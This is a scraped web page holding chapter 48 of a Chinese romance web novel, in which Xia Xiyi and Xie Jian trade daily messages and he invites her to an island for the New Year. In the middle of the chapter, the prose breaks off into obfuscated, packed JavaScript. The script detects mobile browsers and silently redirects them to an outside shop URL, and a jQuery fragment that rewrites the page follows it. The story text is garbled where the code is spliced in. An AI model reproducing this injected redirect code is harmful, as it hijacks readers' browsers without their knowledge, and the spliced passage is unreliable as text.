48. 第 48 章
作品:《我要你爱我》 烟花在空中湮灭,光芒消散,玻璃房内又变回温暖的颜色,周遭安静下来。
谢涧看着夏夕怡,“你刚刚说什么?”
夏夕怡一怔,“我说,我和李学长没有关系,昨晚也没有把你认成谁,只是喝醉冲动了。”
仔细回忆,其实那晚她是喊了他哥哥的,但他可能是忘了。
谢涧垂眸,看了她几秒,然后点点头,没再说什么。
看来是真的没听见她刚刚说了什么,夏夕怡低下头,既庆幸,同时又有些失落。
“回家吧。”
“好。”
—
一场精心准备的生日惊喜后,夏夕怡认为,他们之间的关系应该是恢复到之前那样。
翌日早晨起床,她第一时间下床去到书桌前,拿起桌上的白木盒。
打开看,小巧精致的钥匙躺在里面。
这是昨晚谢涧在最后给她的,当做生日礼物。
是别墅练舞室的钥匙,连同别墅大门的解锁权限也一起顺带给了她
夏夕怡盯着看了几秒,确认昨晚发生的事都是真的,才进了浴室洗漱。
出来时,桌上的手机亮了一下,是谢涧给她发来的信息。
【工作忙,出门了。】
她眨了眨眼,不明白他发这条信息的意义在哪。
下楼吃早餐时,看着对面空荡荡椅子,大脑迟钝地动了动,好像隐隐察觉到了什么。
中午,她正写完一张试卷,准备午睡,手机又震了。
【图片.jpg】
【午饭,食堂的。】
谢涧给她拍的照片里是一个饭盒,荤素搭配营养齐全,看起来格外的好吃。
夏夕怡看了眼时间,回他:【这么晚才吃?】
对面回得很快,【年底了,很忙。】
夏夕怡轻轻皱起眉,【要注意休息。】
【知道了。】
对话简短,到这就没了。
但夏夕怡心底还是浮上些微妙的感觉。
这种感觉在晚上再次收到谢涧发来的信息时变得更加强烈。
【晚饭不回家吃,帮我和王姨说一声。】
他明明可以自己说的,夏夕怡愣愣地想,回了个好。
然后又问:【那你今晚回家吗?】
【回,不过会很晚,不用等我。】
“……”并没有人说要等他。
夏夕怡在屏幕上敲敲打打,最后还是只回了一个好。
放下手机,她呆滞地看向前方,满脑子只有一个问题——谢涧这是在跟她报备吗?
……
这种情况一直持续了很多天。
谢涧如他所说,一直都很忙,早出晚归,两个人虽然住在一起,也并不经常碰面。
除夕前一天晚上,夏夕怡收到姜悦悦的短信。
【夏夏,我要回外婆家啦!过年就不能陪你出来玩了,记得要想我哟。】
好像高一的那个春节,姜悦悦也说要回奶奶家。
那时候的夏夕怡自身都难保,没有去深想这件事,现在才忽然觉得不对。
【你……春节怎么不和父母一起过?】
这话可能问得有些冒犯,但她们是很好的朋友,夏夕怡还是想了解一下她家里的情况。
【一直都是这样啦。】对面的回复出乎意料得快。
【我好像没和你说过,我现在的爸爸不是我亲爸,是后爸。】
【妈妈和他有一个小孩,春节嘛,自然就不希望我待在家里。】
姜悦悦的口吻十分轻快,可夏夕怡知道,任何一个小孩在面对亲人的疏远时都不可能觉得毫无所谓。
她想了想,回:【你可不可以来陪我过年?】
这一回她隔了几分钟才回:【谢谢你夏夏,我陪我外婆过年也很开心的啦,不用担心我!】
话说到这个地步,夏夕怡也没再勉强,与她约定好跨年时通电话,然后就挂了。
姜悦悦这通电话也提醒了她,原来马上就要过年了。
即便从小在福利院长大,但她也是体会过年味的。
因为抠门如院长那样的人,在除夕夜也会让所有小孩吃上鸡鸭牛羊肉。
虽然夏夕怡总是抢不过其他小孩,但总归是能吃饱。
而且院子里挂着春联灯笼,大长桌挤满了老师孩子,饭后听着鞭炮声开启新的一年时,即便脸被寒风刮得生疼,也会从心底里感到快乐。
这是她一年中少有的幸福时光。
就算是在被领养后,没人陪她过年,她也会斥巨资给自己做一碗豪华方便面来图个来年的好意头。
不知道谢家的年是怎么样的。
夏夕怡垂着眼想,去年没人回国,今年大概会不一样吧?
这样想着,她检查了一下桌面上的试卷,确定寒假作业已经全部完成,能够用全部的精力去过个好年。
然后打开手机,给顾阳发了条信息。
【顾哥哥,你知道哥哥喜欢什么吗?】
对面隔了一会儿才回:【他啊,年轻的时候他就喜欢玩那些刺激的,解压的,什么射击跳伞之类的,现在没机会了,只有时间打游戏了吧。】
不明白什么叫年轻的时候,明明谢涧现在还没大学毕业。
不过顾哥哥好心给她建议,她决定不反驳他了。
【好的,知道了。】
【唉,可惜我刚离开南城,不然我可以带你去买游戏盘,我了解的可多了。】
夏夕怡完全没在意他离开南城的事,只说:【麻烦了,可以把相关资料发给我吗?】
【……】
顾阳大概是有些失语,沉默了许久,最后像是发泄般真给她丢过来一个文档。
夏夕怡认真说了谢谢,就打开文档认真看起来。
在手机上看不太方便,她从抽屉深处取出从妈妈给她买回来就没用过的笔记本电脑,插上电,开机。
文档不长,将游戏分门别类向她介绍哪些是新款,哪些是绝版的,还告诉她哪里能买到。
花了半个小时看完,夏夕怡点开了顾阳推荐的网站,在上面发帖。
回复的人寥寥无几,她懊恼地抿了抿唇,想着如果早几天准备或许就不会这么仓促了。
不过世上没有后悔药吃,她又发了另一个帖子,问怎么有新意地送礼。
这个回复人变多了,但一条条看下来又觉得都差点什么。
在这个帖子下磨蹭了不知道多久,右下角提示上一条帖子有回复,于是她又退回去点开。
视线定在屏幕上,眼睛缓缓睁大。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17036544|191648||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>“叩叩。”
房门被敲响,夏夕怡飞速合上电脑,“谁啊?”
“我。”是谢涧的声音。
他今天怎么这么早回来?
夏夕怡看了眼时间,惊讶地发现已经晚上十一点了。
没想到不知不觉时间过去了这么久,她揉揉发酸的眼睛,走过去打开门。
谢涧穿着大衣,肩上还有淡淡的水雾,像是一回家就来找她了。
“怎么不回消息?”他问。
这几天,他们早中晚都会互发消息——主要是谢涧来报备他的一日三餐。
夏夕怡莫名心虚道:“刚刚在查资料,没注意。”
谢涧没有深究,点点头,“看看手机,有没有收到航班信息。”
“嗯?”夏夕怡一愣,回到书桌边拿起手机,“什么航班?”
谢涧很自然地跟着进了房,“去海岛的机票。”
这话更是让人震惊,“去海岛做什么?”
“过年。”谢涧垂眸,“教你潜水,想去吗?”
怎么会有人先买完票再问人想不想去的,就好像笃定了她一定会喜欢。
……不过她也确实无法抗拒。
“去。”很没出息地立即答应了,然后才问,“你什么时候决定的呀?”
“你哭那天。”谢涧像是在说一件平常事。
这么早……夏夕怡挠了挠脸,想起那天的争吵,眼睫一颤,“你还记得那天的事吗?”
谢涧垂眼,没说话。
那天的争吵,最后其实算不上解决,因为夏夕怡提出的那些问题是真实存在的。
关于……她的身世。
而这些问题又直接关乎到她和谢涧的关系,她很想知道答案,因为这能够让那些纷乱的情感能够找到一点明确的方向。
看着谢涧的表情,夏夕怡不知道面前的人是不是一直都在介意她说的那些话。
可能还是得解释一下。
她这样想,犹豫着开口,“其实,我那天说的也都是气话,我没有真的这样想……”
“没关系。”谢涧开口打断,黑沉的眼睛直勾勾地看向她,眼底情绪不明,“你说的,不是没有道理。”
这句话像是在她脑子里用锤子敲了下,她猛地愣住。
哪句话有道理?
是她说的她没人教只懂得抓住一切机会,还是她说……她不应该相信谢家的话?
僵硬的表情太过明显,谢涧抬手在她面前打了个响指。
“记得那天的事不是因为你说的话,只是因为,某人哭得太可怜了。”
话题被转移,夏夕怡反应不及,立刻又被带跑。
呆呆地开口,“我那是在生气。”
谢涧笑了笑没说话,看表情并不认同她说的话。
夏夕怡憋了憋,又问:“所以你是看我太可怜了才……”对我那么好吗?
后半句话没问出口,因为她看见谢涧的眼神变了。
那是一种很少见的眼神,带着意味深长的无奈,似乎藏了许多话要说。
“你的脑子怎么总有办法将所有事都往不好的方向想?”他轻叹道。
夏夕怡没有理解,抬头看见,他眼底的情绪深浓,薄唇缓慢张开。
“不是你许的愿吗?要我爱你。”

